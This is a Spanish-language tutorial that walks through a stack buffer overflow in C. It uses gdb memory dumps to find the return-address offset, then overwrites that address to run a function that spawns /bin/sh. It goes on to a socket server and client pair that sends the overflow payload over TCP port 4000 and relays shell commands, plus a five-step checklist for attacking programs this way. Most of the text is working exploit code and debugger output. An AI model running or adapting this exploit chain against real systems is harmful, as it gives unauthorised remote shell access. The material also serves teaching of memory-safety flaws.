Sea el siguiente programa en C /**************************************************************************/ #define SZ 12 char *j; void malo(void){ printf("Tomando control del programa!!! \n"); } void f(char *a1,int n) { char buf1[12]; memcpy(buf1,a1,n); return; } main() { char bufOvfw[SZ]; int i; for (i=0;i, "ð\225\004\bÌ\226\004\bH÷ÿ¿wQ\004@\001", n=32) at incorrecto.c:9 #1 0x08048502 in main () at incorrecto.c:18 #2 0x40045177 in __libc_start_main (main=0x80484c8
, argc=1, ubp_av=0xbffff77c, init=0x8048308 <_init>, fini=0x8048550 <_fini>, rtld_fini=0x4000e184 <_dl_fini>, stack_end=0xbffff76c) at ../sysdeps/generic/libc-start.c:129 se observa que en la linea que dice #1, se tiene una direccion 0x08048502, que es la direccion hexadecimal de la instruccion a la que tiene que regresar C cuando concluya la rutina f. Ahora, si se examina el contenido hexadecimal de la variable buf1 y unos 64 bytes adelante x/64bx buf1 0xbffff6a0: 0xe0 0xf6 0xff 0xbf 0x16 0xd8 0x00 0x40 0xbffff6a8: 0x64 0x6d 0x01 0x40 0xd0 0x72 0x01 0x40 0xbffff6b0: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffff6b8: 0x08 0xf7 0xff 0xbf 0x02 0x85 0x04 0x08 0xbffff6c0: 0xe0 0xf6 0xff 0xbf 0x20 0x00 0x00 0x00 0xbffff6c8: 0x10 0x96 0x04 0x08 0x60 0x82 0x04 0x08 0xbffff6d0: 0x3c 0x41 0x03 0x40 0xe4 0x39 0x15 0x40 0xbffff6d8: 0x64 0x6b 0x01 0x40 0x20 0x00 0x00 0x00 Observese la linea que dice 0xbffff6b8, las ultimas 4 columnas dicen 0x02 0x85 0x04 0x08 si lo leemos al reves es 0x08048502, es decir, la direccion de retorno. Esto implica que si: El buffer comienza en la direccion 0xbffff6a0 Y el ultimo byte (al reves) de retorno esta en la direccion 0xbffff6bf Cuanto tenemos que exceder el buffer para poder escribir ? 0xbffff6bf -0xbffff6a0 ----------- 1f la distancia son de 31 + 1 posicion, 32 bytes. Es decir, se tiene un buffer de 12 bytes, pero si yo excedo su dimension puedo provocar errores o un funcionamiento mas maligno Si yo escribo a partir de la posicion 0xbffff6bf, 28 bytes y en los ultimos 4 pongo la direccion (al reves) de una funcion que no se deberia ejecutar, puedo hacer algo interesante Por ejemplo, la funcion malo, usando gdb, se puede ver que: disassemble malo Dump of assembler code for function malo: 0x8048490 : push %ebp 0x8048491 : mov %esp,%ebp 0x8048493 : sub $0x8,%esp 0x8048496 : sub $0xc,%esp 0x8048499 : push $0x80485a0 0x804849e : call 0x8048360 0x80484a3 : add $0x10,%esp 0x80484a6 : leave 0x80484a7 : ret End of assembler dump. Vive en la direccion 0x8048490 Que pasa, si yo en lugar de poner basura, pongo en los bytes 29,30,31 y 32 a partir del buf1 esa direccion, al reves ? Podre hacer que se ejecute la funcion malo ?? /**************************************************************************/ #define LIMITE 64 #define SZ 12 char *j; void malo(void){ printf("Tomando control del programa!!! \n"); } void f(char *a1,int n) { char buf1[12]; memcpy(buf1,a1,n); return; } main() { char bufOvfw[SZ+16]; int i; for (i=0;i<(SZ+16);i++) { bufOvfw[i]= 0xaa; } bufOvfw[28]=0x90; bufOvfw[29]=0x84; bufOvfw[30]=0x04; bufOvfw[31]=0x08; f(bufOvfw,SZ+20); } /**************************************************************************/ Compilando y ejecutando .... ./maligno Tomando control del programa!!! Segmentation fault (core dumped) Aunqe genera un core, se ejecuta la funcion malo!! Eso es lo que se puede hacer para provocar una falla no considerada en un sistema, conocido como buffer overflow. Resumiendo, para poder atacar un programa asi. 1. Si tienes codigo, usalo (Use the source, Luke!!) 2. Encuentra si alguna rutina tiene uso de buffers (buscar rutinas como memcpy, memset, strcpy, strcat, sprintf) 3. Compila y analiza el codigo con alguna herramienta que te permite ver la memoria 4. Busca si existe una funcion que te de acceso a una funcionalidad no expuesta del software (dar privilegios, ejecuion de shells, borrar informacion, lanzar procesos) 5. Ataca a esa funcion, que obviamente este expuesta al mundo, con un buffer excedido (eso es muy comun en programas basados en sockets) y trata de asignar la direccion de la funcion que deseas ejecutar El programa maligno, se va a transforma a malignoshell, donde se va incluir la ejecucion de un shell en la funcion malo Compilar el programa para gdb gcc -o -g malignoShell.c Analizarlo gdb malignoShell break 18 run bt #0 f (a1=0xbffff6e0 'ª' , "\220\204\004\bp\226\004\bX\227\004\bH÷ÿ¿wQ\004@\001", n=32) at malignoShell.c:18 #1 0x080485ea in main () at malignoShell.c:31 #2 0x40045177 in __libc_start_main (main=0x80485a0
, argc=1, ubp_av=0xbffff77c, init=0x8048370 <_init>, fini=0x8048630 <_fini>, rtld_fini=0x4000e184 <_dl_fini>, stack_end=0xbffff76c) at ../sysdeps/generic/libc-start.c:129 x/64bx buf1 0xbffff6a0: 0xe0 0xf6 0xff 0xbf 0x16 0xd8 0x00 0x40 0xbffff6a8: 0x64 0x6d 0x01 0x40 0xd0 0x72 0x01 0x40 0xbffff6b0: 0x07 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffff6b8: 0x08 0xf7 0xff 0xbf 0xea 0x85 0x04 0x08 0xbffff6c0: 0xe0 0xf6 0xff 0xbf 0x20 0x00 0x00 0x00 0xbffff6c8: 0x94 0x96 0x04 0x08 0xaa 0x82 0x04 0x08 0xbffff6d0: 0x3c 0x41 0x03 0x40 0xe4 0x39 0x15 0x40 0xbffff6d8: 0x64 0x6b 0x01 0x40 0x1c 0x00 0x00 0x00 disassemble malo Dump of assembler code for function malo: 0x8048530 : push %ebp 0x8048531 : mov %esp,%ebp 0x8048533 : sub $0x18,%esp 0x8048536 : movl $0x8048658,0xfffffffc(%ebp) 0x804853d : call 0x80483b8 0x8048542 : mov %eax,%eax 0x8048544 : mov %eax,0xfffffff8(%ebp) 0x8048547 : cmpl $0x0,0xfffffff8(%ebp) 0x804854b : je 0x8048568 0x804854d : sub $0xc,%esp 0x8048550 : lea 0xfffffff4(%ebp),%eax 0x8048553 : push %eax 0x8048554 : call 0x8048418 0x8048559 : add $0x10,%esp 0x804855c : sub $0xc,%esp 0x804855f : push $0xa 0x8048561 : call 0x8048408 0x8048566 : mov %esi,%esi 0x8048568 : sub $0x4,%esp 0x804856b : push $0x0 0x804856d : pushl 0xfffffffc(%ebp) 0x8048570 : pushl 0xfffffffc(%ebp) 0x8048573 : call 0x8048398 0x8048578 : add $0x10,%esp 0x804857b : leave 0x804857c : ret quit Es decir, la funcion a la que debe saltar el programa esta en 0x8048530 (cambio, por que se agrego mas codigo) Y la direccion a sobrescribir esta en: Ultimo byte retorno 0xbffff6bf (contiene al reves 30 84 04 08) Inicio Buffer 0xbffff6a0 1f Otra vez 32 bytes El programa final es: /******************************************/ #define LIMITE 64 #define SZ 12 char *j; void malo(void){ char *s = "/bin/sh"; int pid ; pid=fork(); if (pid ) { int status; wait(&status); exit(10); } else { execl(s,s,(char *)0); } } void f(char *a1,int n) { char buf1[12]; memcpy(buf1,a1,n); return; } main() { char bufOvfw[SZ+16]; int i; for (i=0;i<(SZ+16);i++) { bufOvfw[i]= 0xaa; } bufOvfw[28]=0x30; bufOvfw[29]=0x85; bufOvfw[30]=0x04; bufOvfw[31]=0x08; f(bufOvfw,SZ+20); } /******************************************/ Y compilando y ejecutando: ./malignoShell sh-2.04$ Se pudo ejecutar el shell!!! Se puede hacer un programa que invoque al malignoShell, usando argumentos de la rutina main #define PRG "bufferoverflowargv2" main() { char argv[32]; memset(argv,0xaa,28); argv[28] = 0x30; argv[29] = 0x85; argv[30] = 0x04; argv[31] = 0x08; if ( execlp(PRG,"g",argv,0)) { perror("falla en el programa"); } } A este programa le vamos a llamar sauron gcc -o sauron sauron.c Vamos a hacer un programa que engañe a todos, y en la oscuridad los ate .... Ese programa es un socket /******************************************/ #include #include #include #include #include #define PRG "malignoShell" main() { int serversocket; /*descriptor de socket para servidor*/ int puerto=4000; /*puerto donde se escucha el servicio*/ struct sockaddr_in sockaddr; char buffer[128]; serversocket=socket(AF_INET,SOCK_STREAM,0); /*abrir socket para servidor*/ /*llenar estructura para ligar el socket con el puerto TCP*/ sockaddr.sin_family= AF_INET; /*utilizar direccion con formato IP*/ sockaddr.sin_addr.s_addr= htonl(0x00000000); /*ligar socket a cualquier direccion (0.0.0.0)posible de la maquina*/ sockaddr.sin_port= htons(puerto); /*aplicar la asociacion con el puerto*/ if ( bind(serversocket, ( struct sockaddr *)&sockaddr,sizeof(sockaddr)) < 0 ) { perror("error en bind\n"); } if (listen(serversocket,5) ) { perror("error en listen"); } else { struct sockaddr_in claddr; int rtn,len=sizeof(claddr); while( rtn= accept(serversocket,(struct sockaddr *)&claddr,&len)) { if (rtn < 0) { perror("error en accept"); } else { char dato[4096]; int pid; sprintf(buffer,"Cliente con datos IP:%s,puerto:%d se le asigna conexion con des criptor %d\n", inet_ntoa(claddr.sin_addr),claddr.sin_port,rtn); write(2,buffer,strlen(buffer)); pid = fork(); if (pid==0) { read(rtn,dato,32); dup2(rtn,0); dup2(rtn,1); dup2(rtn,1); close(rtn); if ( execlp(PRG,"g",dato,0)) { perror("falla en el programa"); } } else if (pid>0) { printf("Arrancando programa PID %d\n",pid); close(rtn); } else { perror("error en fork"); } } } } close(serversocket); } /******************************************/ Vamos a llamar a este programa sauronnet Y un programa cliente, con la misma filosofia que el programa sauron, sauroncliente /******************************************/ #include #include main(int argc,char * argv[]){ /*la direccion IP se obtiene en el primer argumento */ int puerto= 4000; /*el puerto del servicio del tiempo es 13*/ int sd; /*este es el descriptor de socket, se maneja como un archivo*/ struct sockaddr_in sockaddr; /*estructura de datos para prover lo necesario para conectarse al servicio*/ int nbytes; char buffer[1024]; char cmd[1024]; if (argc<=1) { printf("Ejemplo1 \n"); exit(1); } sd=socket(AF_INET,SOCK_STREAM,0); if (sd < 0) { /*se checa que no exista error*/ perror("Error al abrir socket"); exit(2); } sockaddr.sin_family=AF_INET; /*la direccion que se especifica esta en formato IP*/ sockaddr.sin_addr.s_addr= inet_addr(argv[1]); sockaddr.sin_port= htons(puerto); if (connect(sd,(struct sockaddr*)&sockaddr ,sizeof(sockaddr))) { perror("error al abrir conexion"); exit(3); } nbytes = 32; memset(buffer,0xaa,28); buffer[28] = 0x30; buffer[29] = 0x85; buffer[30] = 0x04; buffer[31] = 0x08; nbytes=write(sd,buffer,nbytes); while (nbytes=read(0,cmd,1024)){ nbytes=write(sd,cmd,nbytes); nbytes=read(sd,buffer,1024); write(1,buffer,nbytes); } close(sd); } /******************************************/ Compilar ambos gcc -o sauronnet sauronnet.c gcc -o sauroncliente sauroncliente.c Lanzar a sauronnet Ejecutar sauroncliente.c Cuando se quede esperando, darle el comando ls Si funciona, ya esta un programa que da acceso al sistema !!! Y eso que aun no se hace algo mas rudo, que es bajar el codigo binario de una funcion, dentro del stack, pero eso es otro truco que Sauron no nos quiere decir, aun ... "One Ring to rule them all, One Ring to find them. One Ring to bring them all, and in the darkness bind them."